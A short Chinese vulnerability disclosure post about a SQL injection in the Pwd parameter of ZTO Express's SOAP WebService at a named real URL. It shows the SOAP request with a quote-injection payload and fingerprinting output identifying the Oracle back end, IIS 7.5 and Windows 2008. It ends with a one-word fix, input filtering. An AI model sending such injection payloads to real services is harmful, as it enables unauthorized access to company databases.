中通速递WebService注入一枚 – 网站安全 – 自学php

2020-10-10 分类：黑客攻防阅读(278) 评论(0) 扫描二维码

接口地址： http://api.zto.cn/WebService.asmx?wsdl Pwd参数存在SQL注入漏洞

<SOAP-ENV:Header/>

     <SOAP-ENV:Body>

        <urn:Search>

           <urn:Userid>1</urn:Userid>

           <urn:Pwd>-1'</urn:Pwd>

           <urn:SrtjobNo>1</urn:SrtjobNo>

        </urn:Search>

     </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

版本信息：

[INFO] the back-end DBMS is Oracle

web server operating system: Windows 2008

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5

back-end DBMS: Oracle

oracle库名：主库应该在这。。就不继续了。。 修复方案： 过滤~